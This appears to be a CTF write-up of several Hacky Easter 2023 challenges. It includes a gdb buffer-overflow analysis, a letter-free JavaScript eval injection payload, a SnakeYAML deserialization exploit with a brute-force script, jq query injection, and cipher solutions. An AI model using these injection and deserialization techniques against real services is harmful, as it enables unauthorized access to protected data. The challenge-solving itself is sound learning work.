EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400742 <vuln+49>:  call   0x400590 <gets@plt>
   0x400747 <vuln+54>:  nop
   0x400748 <vuln+55>:  leave
=> 0x400749 <vuln+56>:  ret
   0x40074a <main>:     push   rbp
   0x40074b <main+1>:   mov    rbp,rsp
   0x40074e <main+4>:   mov    rax,QWORD PTR [rip+0x2008fb]        # 0x601050 <stdout@@GLIBC_2.2.5>
   0x400755 <main+11>:  mov    esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdd50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffdd58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0x7fffffffdd60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0032| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0040| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0048| 0x7fffffffdd78 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0056| 0x7fffffffdd80 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400749 in vuln ()

we take the top value off the stack to determine the pattern offset:

1
2
3
gdb-peda$ pattern_offset AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe found at offset: 40

We don’t get a system() call in the code directly, but since printf is used, the entire libc library is loaded, we just need to find the right address?

1
2
3
gdb-peda$ print system
$1 = {int (const char *)} 0x7ffff7c50d60 <__libc_system>

Flag

unsolved

Coney Island Hackers 2

Challenge

Coney Island Hackers are back!

They changed the passphrase of their secret web portal to: coneʸisland.

However, they implemented some protection:

letters and some special characters are not allowed, maximum length of the string entered is 75

http://ch.hackyeaster.com:2302

Note: The service is restarted every hour at x:00.

Hint: eval

Solution

We get a website with a form where we need to enter the password:

We are given the password (coneʸisland), but can’t just enter it due to filters

We are not allowed to use a bunch of characters, including letters, _, /, and $

Let’s look at the source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
  <head>
    <title>Coney Island Hackers</title>
    <link rel="stylesheet" href="https://unpkg.com/purecss@2.0.6/build/pure-min.css" integrity="sha384-Uu6IeWbM+gzNVXJcM9XV3SohHtmWE+3VGi496jvgX1jyvDTXfdK+rfZc8C1Aehk5" crossorigin="anonymous" />
    <link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css" />
    <link rel="stylesheet" href="styles.css" />
  </head>
  <body>
    <div class="splash-container">
      <div class="splash">
        <img class="title-image" src="title.png" />
        <h1 class="splash-head smaller">Coney Island Hackers 2</h1>
        <p class="splash-subhead"></p>
        <div class="green">enter passphrase to enter</div>
        <form role="form" method="GET" action="/">
          <div class="form-group"></div>
          <label for="passphrase"></label>
          <input class="form-control" id="name" type="text" placeholder="passphrase" name="passphrase" />
          <button class="pure-button pure-button-primary" type="submit" name="form">
            Login
          </button>
        </form>
        <p></p>
      </div>
    </div>
  </body>
</html>

There is nothing much in the source, so it seems like we will have to find a creative way to input the password

If we input 2+2, we get the message invalid expression

And the hint for this challenge was eval, so clearly our input is going into an eval call

We could use JSfuck to pass in our password without using letters, but this generates strings that are way longer than our limit of 75 characters

In javascript, we can get some letters in other ways

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// "true"
!0+'';

// "false"
!1+'';

// "[object Object]"
{}+'';

// "undefined"
[][1]+'';

// "Infinity" yeilds: y
1/0+'';

We cannot use the last expression because / is disallowed, but we don’t need a proper y anyway.

So we can get all characters in the strings true, false, undefined, [object Object]

So this is what we can get without using any letter characters are:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
a = (!1+'')[1]     // "false"[1]
b = ({}+'')[2]     // "[object Object]"[2]
c = ({}+'')[5]     // etc
d = ([][1]+'')[2]
e = (!1+'')[4]
f = (!1+'')[0]
g
h
i = (1/0+'')[5]
j = ([]+{}+'')[3]
k
l = (!1+'')[2]
m
n = (1/0+'')[1]
o = ({}+'')[1]
p
q
r = (!0+'')[1]
s = (!1+'')[3]
t = (!0+'')[0]
u = (!0+'')[2]
v
w
x
y = (1/0+'')[y]  // cannot use because / character disallowed

That covers all the characters we need, but this would still be too many characters since it needs about 10 characters per letter and we also need to concatenate them together with + symbols..

so let’s create a variable containing all the letters we need once, then accessing them as we need. We cannot use ascii letters for variable name, so we use ß

1
2
3
4
ß=''+[][1]+!1+{};  // "undefinedfalse[object Object]"

// coneʸisland
ß[19]+ß[15]+ß[1]+ß[3]+'ʸ'+ß[5]+ß[12]+ß[11]+ß[10]+ß[1]+ß[2]

So we enter the following string in the password box, and get our flag!

ß=''+[][1]+!1+{};ß[19]+ß[15]+ß[1]+ß[3]+'ʸ'+ß[5]+ß[12]+ß[11]+ß[10]+ß[1]+ß[2]

Note: first we used ß=''!1++[][1]+{}; // "falseundefined[object Object]" (different order of the substrings), but ended up 1 character over the limit because we needed a 2-digit index once more often than in the real solution, grrr!

Flag

he2023{fun_w1th_ev1l_ev4l_1n_nyc}

Digital Snake Art

Challenge

I’m a big fan of digital art!

How do you like my new gallery?

http://ch.hackyeaster.com:2307

digitalsnakeart.zip

Note: The service is restarted every hour at x:00.

Solution

The website is a set of images generated by DALL-E

and e.g. the “Snakes in space” page looks like:

and has an url like:

1
http://ch.hackyeaster.com:2307/art?art=bmFtZTogU25ha2VzIGluIFNwYWNlCmltYWdlOiBzbmFrZXNfaW5fc3BhY2UKc291cmNlOiBEQUxMLUUKcmVzb2x1dGlvbjogMjU2eDI1Ng==

let’s see what’s in the base64 string:

1
2
3
4
$ echo "bmFtZTogU25ha2VzIGluIFNwYWNlCmltYWdlOiBzbmFrZXNfaW5fc3BhY2UKc291cmNlOiBEQUxMLUUKcmVzb2x1dGlvbjogMjU2eDI1Ng==" | base64 -d
name: Snakes in Space
image: snakes_in_space
source: DALL-E

So we probably have to manipulate that base64 string to get it to give it our flag.

But we get the source code, so let’s look at that:

1
2
3
4
5
6
7
8
9
10
11
12
package com.hackyeaster.digitalsnakeart;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.hackyeaster.digitalsnakeart;

public class Code {

    private final short code;

    public Code(short code) {
        this.code = code;
    }

    public boolean isCorrect() {
        return (code > 0 && code < 500 && code == SnakeService.getSecretCode());
    }

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.hackyeaster.digitalsnakeart;

import java.io.ByteArrayInputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.env.Environment;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.yaml.snakeyaml.Yaml;

@org.springframework.stereotype.Controller
public class Controller {

    @Autowired
    private Environment env;

    @GetMapping("/")
    public String index(Model model) {
        return "index";
    }

    @GetMapping("/art")
    public String path(Model model, @RequestParam(name = "art") String art) {
        SnakeService.initialize(env);
        SnakeArt result = parse(art);
        if (result == null) {
            return "fail";
        }
        model.addAttribute("name", result.getName());
        model.addAttribute("image64", result.getImage().getBase64String());
        model.addAttribute("source", result.getSource());
        model.addAttribute("resolution", result.getResolution());
        return "art";
    }

    private SnakeArt parse(String string) {
        try {
            byte[] yml = Base64.getDecoder().decode(string);
            InputStreamReader reader = new InputStreamReader(new ByteArrayInputStream(yml), StandardCharsets.UTF_8);
            return new Yaml().loadAs(reader, SnakeArt.class);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

}
1
2
3
4
5
6
7
8
9
10
11
12
package com.hackyeaster.digitalsnakeart;

public class Flag extends Image {

    public Flag(Code code) {
        if (code.isCorrect()) {
            this.base64String = SnakeService.loadFlag();
        } else {
            this.base64String = SnakeService.load("snake_no_access");
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.hackyeaster.digitalsnakeart;

public class Image {

    protected String base64String;

    public String getBase64String() {
        if (base64String == null) {
            return SnakeService.load("fail");
        }
        return base64String;
    }

    protected Image() {
    }

    public Image(String name) {
        this.base64String = SnakeService.load(name);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.hackyeaster.digitalsnakeart;

import lombok.Getter;
import lombok.Setter;

public class SnakeArt {

    @Getter
    @Setter
    public String name;

    @Getter
    @Setter
    public Image image;

    @Getter
    @Setter
    public String source;

    @Getter
    @Setter
    public String resolution;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.hackyeaster.digitalsnakeart;

import org.springframework.core.env.Environment;
import org.springframework.stereotype.Service;

@Service
public class SnakeService {

    private static Environment env;

    static void initialize(Environment environment) {
        if (env == null) {
            env = environment;
        }
    }

    static short getSecretCode() {
        return env != null ? new Short(env.getProperty("secret.code")) : -1;
    }

    static String load(String name) {
        if (name != null && name.startsWith("snake") && name.length() <= 30) {
            return env.getProperty("image." + name);
        }
        return env.getProperty("image.notfound");
    }

    static String loadFlag() {
        return env.getProperty("image.flag");
    }

}

So it looks like there is a secret code stored in env.getProperty("secret.code")

SnakeYaml

So it’s definitely SnakeYaml which had a recent CVE. Their wiki makes for some fun reading, especially the issue that is linked where Andrey asserts quite strongly that developers will only ever load trusted YAML.

Not sure if we need to do this sort of setup with our own class hosted somewhere?, that seems excessive since we don’t really need RCE, and we know which classes we can work with.

Here’s the script I have so far:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
t = f"""
!!com.hackyeaster.digitalsnakeart.Flag
image: snakes_at_the_beach
name: &K snek
source: asdf
source: *K
resolution: 256x256
""".strip()


print(t)
query = base64.b64encode(t.encode('utf-8')).decode('utf-8')
print(query)
res = requests.get("http://ch.hackyeaster.com:2307/art?art=" + query).text.split('\n')

for x in res:
    if '<h' in x:
        print(x)
    if '<img' in x:
        digest = hashlib.md5(x.encode('utf-8')).hexdigest()
        if digest == "6bb27636aafe5e67fdc4ce31ff771942":
            print("404 error")
        else:
            print(digest)

but it seems to accept any value for the !!com bit so I guess I’m not doing that right. Looking at how python does it so I don’t have to read java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class A:
    def __init__(self, a=0):
        self.a = a

class Z(int):
    pass

class B:
    def __init__(self, a):
        self.a = a

import yaml
b = B(A(a=Z(1)))
print(yaml.dump(b))

produces the following yaml:

1
2
3
4
!!python/object:__main__.B
a: !!python/object:__main__.A
  a: !!python/object/new:__main__.Z
  - 1

Exploiting

Ok so com.hackyeaster.digitalsnakeart.Flag is a super class of Image, so we just need to first annotate that it’s an image:

1
2
3
4
5
6
7
8
!!com.hackyeaster.digitalsnakeart.SnakeArt
image: !!com.hackyeaster.digitalsnakeart.Flag
- 42
name:
- &K snek
source: asdf
source: *K
resolution: 256x256

Apparently, judging by the python above, you can just pass class arguments as a list (?!?!) and that’s equivalent to passing an argument by itself.

You can see I was testing other common yaml nonsense like references to see if that was the solution but no joy.

1
2
3
name: snek
name:
- snek

For some reason these are equivalent? That’s kinda wild to me. SnakeYaml is truly bizarre.

Anyway, now we can just iterate over values rather than 42 (literally just did a for loop range(500)) and it gave us the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import hashlib
import requests
import base64

for i in range(500):
    print(i)
    t = f"""
    !!com.hackyeaster.digitalsnakeart.SnakeArt
    image: !!com.hackyeaster.digitalsnakeart.Flag
    - {i}
    name: snek
    source: asdf
    source: snek
    resolution: 256x256
    """.strip()

    query = base64.b64encode(t.encode('utf-8')).decode('utf-8')
    res = requests.get("http://ch.hackyeaster.com:2307/art?art=" + query).text.split('\n')

    for x in res:
        #if '<h' in x:
        #    print(x)
        if '<img' in x:
            digest = hashlib.md5(x.encode('utf-8')).hexdigest()
            if digest == "6bb27636aafe5e67fdc4ce31ff771942":
                print("404 error")
            elif digest == "5c2542cae881042b452596416a33eb66":
                print("TODO error")
            elif digest == "0f6ef75665a4cbb3998311f0ef021d19":
                print("beach snakes")
            elif digest == "10e42425510009d3c98ae54cec482039":
                print("false flag")
            else:
                print(t)
                print(query)
                print(digest)
                break

egg with qr code

Flag

he2023{0n3_d03s_n0t_s1mply_s0lv3_th1s_chllng!}

Fruity Cipher

Challenge

I found this fruity message. Can you decrypt it?

🥦🥝🍋🍊🥭🍌🫑🧅 🧅🥝🥖 🍉🍠🥬🫐 🍉🫐🥔🥥🍈 🥔🍌🥝🥖🍏 🥐🍍🥦🍉🍇🥥🍋 🥑🍉🍍🥐🍉 🍅🍠🥦 🍋🥭🍓🍐🌶🍇 🥕🌶🥔🥭🍓🍏🍒🍆🍏 🌶🫐🍎🍏🍒🥥🍊 🍎🥝 🍅🥝🥥🍇 🍎🍉🥔🍓 🥝🍓🍇 🥐🥭🥦🍉🍇🥥🍏🫐🍆🍎 🌶🫐🍎🍏🍇🥥🍋 🍎🍉🍇🍊🫐 🍠🥥🍒 🥐🍠🌶🫑🫐🍈 🍉🥝🍅🥝🥦🍉🥝🍓🍍🥐 🥐🍍🥕🍉🫐🥥🍋 🍏🍉🍇 🍋🥝🫑🥖🍏🍍🥝🍓 🥭🍋 🍉🧅🥦🍒🥥🥬🥭🍏🍠🍅🥭🍓🥝🍋🥭🍊

🚩 Flag

  • lowercase only, no spaces
  • wrap into he2023{ and }
  • example: he2023{exampleflagonly}

Hints

  • the plaintext consist of lowercase letters (and spaces) only
  • there are more than 26 symbols
  • 🍏 == 🍎

Solution

Ok, so we get a bunch of fruits, spaces seem to be in the right places. Substitution cipher? But we have more that 26 characters. Let’s convert it to ASCII characters to make it easier to work with.

1
2
3
4
5
6
7
8
9
10
11
ct = "🥦🥝🍋🍊🥭🍌🫑🧅 🧅🥝🥖 🍉🍠🥬🫐 🍉🫐🥔🥥🍈 🥔🍌🥝🥖🍏 🥐🍍🥦🍉🍇🥥🍋 🥑🍉🍍🥐🍉 🍅🍠🥦 🍋🥭🍓🍐🌶🍇 🥕🌶🥔🥭🍓🍏🍒🍆🍏 🌶🫐🍎🍏🍒🥥🍊 🍎🥝 🍅🥝🥥🍇 🍎🍉🥔🍓 🥝🍓🍇 🥐🥭🥦🍉🍇🥥🍏🫐🍆🍎 🌶🫐🍎🍏🍇🥥🍋 🍎🍉🍇🍊🫐 🍠🥥🍒 🥐🍠🌶🫑🫐🍈 🍉🥝🍅🥝🥦🍉🥝🍓🍍🥐 🥐🍍🥕🍉🫐🥥🍋 🍏🍉🍇 🍋🥝🫑🥖🍏🍍🥝🍓 🥭🍋 🍉🧅🥦🍒🥥🥬🥭🍏🍠🍅🥭🍓🥝🍋🥭🍊"

ct2 = ct.replace(" ","")

fruits = set(ct2)
fruitstr = "".join (fruits)
alphanum = "abcdefghijklmnopqrstuvwxyz123"

t = ct.maketrans(fruitstr,alphanum)

print(ct.translate(t))

this gives us a ciphertext of

1
wqsaonmx xqv zphj zjb3f bnqvu tewz13s rzetz cpw soydi1 kiboyul2u ijgul3a gq cq31 gzby qy1 towz13uj2g ijgu13s gz1aj p3l tpimjf zqcqwzqyet tekzj3s uz1 sqmvueqy os zxwl3houpcoyqsoa

Now we enter this in dcode.fr substitution solver. And the automatic analyzer gets us sortof close, we recognize a possible subsentence “more than one”, and then we fiddle a bit more with the mapping between plaintext and ciphertext, quickly realizing that different ciphertext letters map to the same plaintext letter, so we are dealing with a homophonic cipher.

The text we get is

1
2
3
4
5
POSSIBLY YOU HAVE HEA3D ABOUT CIPH13S
WHICH MAP SINGL1 PLAINTE2T LETTE3S TO
MO31 THAN ON1 CIPH13TE2T LETT13S TH1SE
A3E CALLED HOMOPHONIC CIPHE3S TH1
SOLUTION IS HYPE3VITAMINOSIS

from this we can see that the missing mappings are 1=E, 2=X, 3=R, and so the full message reads:

1
2
3
4
5
POSSIBLY YOU HAVE HEARD ABOUT CIPHERS
WHICH MAP SINGLE PLAINTEXT LETTERS TO
MORE THAN ONE CIPHERTEXT LETTERS THESE
A3E CALLED HOMOPHONIC CIPHERS THE
SOLUTION IS HYPERVITAMINOSIS

and we find our flag!

Flag

he2023{hypervitaminosis}

Kaos Motorn

Challenge

What? Is? This? Kaos?

Hint: Inputs are in the range 0..9.

Solution

We get a link to a mysterious Google spreadsheet:

We make our own copy that we can fool around with

Basically, there are a set of equations, converting a set of input numbers (along the outside ring), and leading to a flag (in the middle). Assumuing it starts with he2023, we get the following equations for the first output character

1
2
3
4
5
6
7
8
9
10
11
12
h = 52 + B5                        = 104 // should be 104 for 'h'
B5 = J13+D11+F12+I10   % 64        = 52
J13 = D14+B7*E2        % 64
D11 = E2*G14           % 64
F12 = E2*B7+D14        % 64
I10 = J6*G14+B7        % 64

D14 = 7
B7 = 9
E2 = 5
G14 = 8
J6 = 2

Presumable we can alter the values in cells D14,B7,E2,G14,J6 to get our flag?

We will need to do this for more of the known characters then

ok, lets do the same for e

1
2
3
4
5
6
e = 44 + I7  # must be 101
I7 = F12+D11*G6+H3     # must be 57
F12 = E2 * B7+ D14   % 64
D11 = E2 * G14       % 64
G6 = G14*B7+D14      % 64
H3 = B7*J6*7         % 64

Since we know the inputs are in range of of 0-9, we write a small script to see how many possibilities this leaves us with

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
options = 0
for d14 in range(0,9):
  for b7 in range(0,9):
    for e2 in range(0,9):
      for g14 in range(0,9):
        for j6 in range(0,9):

          # equations for h
          i10 = (j6*g14+b7)      % 64
          f12 = (e2*b7+d14)      % 64
          d11 = (e2*g14)         % 64
          j13 = (d14 +b7*e2)     % 64
          b5 = (j13+d11+f12+i10) % 64

          # equations for e
          h3 = (b7*j6*7)        % 64
          g6 = (g14*b7+d14)     % 64
          i7 = (f12+d11*g6+h3)  % 64

          if b5 == 52 and i7 == 57:
            options += 1
            print("d14: "+str(d14)+" b7: "+str(b7)+" e2: "+str(e2)+" g14: "+str(g14)+" j6: "+str(j6))

print("Options: "+ str(options))

This still leaves us with 18 differnt options for the 5 inputs, so we add another restriction for the next character of the string we know (2)

1
2
3
4
5
6
'2' = 48+J3  # should be 50
J3 =  F12+D11+D5+F4    % 64        # should be 2
F12 = see above
D11 = see above
D5 = E2+J6+B7+D14+G14
F4 = E2*G14+D14+J6

so we add this to our script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
options = 0
for d14 in range(0,9):
  for b7 in range(0,9):
    for e2 in range(0,9):
      for g14 in range(0,9):
        for j6 in range(0,9):

          # equations for h
          i10 = (j6*g14+b7)      % 64
          f12 = (e2*b7+d14)      % 64
          d11 = (e2*g14)         % 64
          j13 = (d14 +b7*e2)     % 64
          b5 = (j13+d11+f12+i10) % 64

          # equations for e
          h3 = (b7*j6*7)        % 64
          g6 = (g14*b7+d14)     % 64
          i7 = (f12+d11*g6+h3)  % 64

          # equations for '2'
          d5 = (e2+j6+b7+d14+g14) % 64
          f4 = (e2*g14+d14+j6)    % 64
          j3 = (f12+d11+d5+f4)    % 64

          if b5 == 52 and i7 == 57 and j3 == 2:
            options += 1
            print("d14: "+str(d14)+" b7: "+str(b7)+" e2: "+str(e2)+" g14: "+str(g14)+" j6: "+str(j6))

print("Options: "+ str(options))

and this leaves us with just 1 option for input cells:

1
2
3
4
5
D14: 1
B7:  2
E2:  8
G14: 5
J6:  8

And when we fill that in our spreadsheet, we get the full flag:

Flag

he2023{Th4tSKa0Z!}

This One Goes To 11

Challenge

So tell me, how do I escape hell, wise man?

Connect to the server.

nc ch.hackyeaster.com 2309

hell

Hint: Non est facilis labor fugere infernum, quia est fundamentum omnis mali ac nequitiarum. Solum ultima tua clamor te liberabit ex hoc loco. Sed ante te volvendus campis ad sinistram et ad dexteram et evadendus insidias mali Xorxis. Sed ne putes id facile fore, qui victoriam quaerit, oportet ei mentem habere quid in hoc labore vero est momenti.

Solution

this is found in the strings, and, unsurprisingly, is not it.

1
HE23{H3ll_a1nt_a_b@d_pl@c3!h377_i$_fr0m_h343_t0_3t3erni7y}

But maybe the online version of the program has the real flag there, we just need to figure out how to make the program give it to us?

Flag

unsolved

Thumper's PWN 1

Challenge

Thumper has finally reached the innermost ring. He’s given one last task to complete. You need to get a passing average to get the flag.

Target: nc ch.hackyeaster.com 2315

thumperspwn1.zip

Solution

Flag

unsolved

Jason

Challenge

Jason has implemented an information service.

He has hidden a flag in it, can you find it?

Connect to the server:

nc ch.hackyeaster.com 2304

Solution

Ahh the name should’ve been a give away huh? It took me a minute nonetheless

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> 1/2
Result: 0.05
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 20/1
Result: 0.2
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 200/1
Result: 0.2
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 1 + 1
Result: 1.1
> enter "name", "surname", "street", "city", "country", or "q" to quit
> 1 + 1 + 1
Result: 2.1
> enter "name", "surname", "street", "city", "country", or "q" to quit

From the above I finally understood it must be prepending . to the queries, and since it’ll process math, we can use it as an annoying calculator. But the key realisation is the . is prepended.

So we can try some other JSON access things like you’d do with jq:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> []
Result: "Jason"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> [][0]
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> [0]
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> [1]
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> {}
Invalid input!
> enter "name", "surname", "street", "city", "country", or "q" to quit

Ahh keys works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
>  | to_entries
Result: [
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | to_keys
Something went wrong.
> enter "name", "surname", "street", "city", "country", or "q" to quit
> keys
Result: null
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | .keys
Result: null
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys
Result: [
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[0]
Result: "city"
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[1]
Result: "country"
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[2]
Result: "covert"
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[3]
Result: "name"
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[4]
Result: "street"
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[5]
Result: "surname"
> enter "name", "surname", "street", "city", "country", or "q" to quit
>  | keys | .[6]
Result: null
> enter "name", "surname", "street", "city", "country", or "q" to quit
> covert
Result: {
> enter "name", "surname", "street", "city", "country", or "q" to quit

and covert looks interesting!

1
2
3
4
5
> covert | keys | .[0]
Result: "flag"
> enter "name", "surname", "street", "city", "country", or "q" to quit
> covert.flag
Result: "he2023{gr3pp1n_d4_js0n_l1k3_4_pr0!}"

it can’t be this easy?

Flag

he2023{gr3pp1n_d4_js0n_l1k3_4_pr0!}

The Little Rabbit

Challenge

Oh no! Someone encrypted my poem, using a One-Time-Pad.

Good news: Each line was encrypted individually, with the same key.

Bad news: The plaintext was changed somehow, before encryption.

cipher.txt

Solution

1
2
3
4
5
6
The Little Rabbit Ohaal

626b34041c11143a444e1b342c0e341036592d39044a0c102505145b57030c1b0e15290a533231071f71040465221023026b
7a2a304a14115a311d5b4d3d320e66520a11392e124a1000621a414310014e070245350f147431150a7105142273103a4328132f01181e
733e334a0615513203170a263d1632100f506c3f1d18461c2015554316074e1f1c47264c257427061f71080a2273103a4328043c47
626b2b081412463144411e733e0574004b0237280d5b09393315004103050f2a5d6a240943272513592c4a142373153c11670534050d1e

The Ohaal in the file is rot13 for Bunny, so we’re likely looking for rot13’d plaintext?

We try a cribdragging approach but look for rot13 words instead of plain English

The challenge mentions a poem, so it seems likely the last line contains our flag.

We us an online crib-dragging tool, and since it only works for pairs of ciphertexts, we open a window for each combination of lines that involves the 4th line, since we are primarily interested in the flag.

Step 1

We start by trying the crib he2023{ (we need to provide it in ROT13, so we use ur2023{) and see if we get anything that looks like it might be valid ROT13 text

Here is a screenshot of the online tool we used:

And this crib gives us the following results

Among the results we see ggyr Oha, which looks potentiall like RO13 English? And indeed, ROT13 of that is ttle Bun ..could very well be “little Bunny”! (“Ohaal” was also in our ciphertext file!). We set that as part of output 1 (since we theorized the fourth line, here output 2, contains the crib we used)

Step 2

Next we guess that the plaintext is indeed little Bunny, ROT13 that (yvggyr Ohaal), and now use that as the crib, so that hopefully we can reveal some of the letters around our he2023{ string:

We see that vs ur2023{pe1 is among the results, which is is he2023{cr1 ROT13 decoded, that looks promising!

Step 3

We can keep guessing here, maybe is he2023{cr1 -> flag is he2023{cr1b? ..but we can also fill in what we know using one of the other ciphertext lines

For example, using a combination of line 2 and 4, and using vs ur2023{pe1 as a crib, we get a result of l nyy bs uvz which translates to y all of him

Step 4

We continue in this way until we slowly reveal all the plaintext, doing this for the various different combinations of cipher text lines simultaneously, slowly extending and guessing more plaintext, seeing if it works in the other encrypted lines.

Final

After a while we are able to fully decrypt the 4 messages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
626b34041c11143a444e1b342c0e341036592d39044a0c102505145b57030c1b0e15290a533231071f71040465221023026b
v unir n yvggyr Ohaal jvgu n pbng nf fbsg nf qbja
i have a little Bunny with a coat as soft as down

7a2a304a14115a311d5b4d3d320e66520a11392e124a1000621a414310014e070245350f147431150a7105142273103a4328132f01181e
naq arneyl nyy bs uvz vf juvgr rkprcg bar ovg bs oebja
and nearly all of him is white except one bit of brown

733e334a0615513203170a263d1632100f506c3f1d18461c2015554316074e1f1c47264c257427061f71080a2273103a4328043c47
gur svefg guvat va gur zbeavat jura V trg bhg bs orq
the first thing in the morning when I get out of bed

626b2b081412463144411e733e0574004b0237280d5b09393315004103050f2a5d6a240943272513592c4a142373153c11670534050d1e
v jbaqre vs ur2023{pe1o_qe4ttva_4_ce0svg!} vf gur synt
i wonder if he2023{cr1b_dr4ggin_4_pr0fit!} is the flag

Flag

he2023{cr1b_dr4ggin_4_pr0fit!}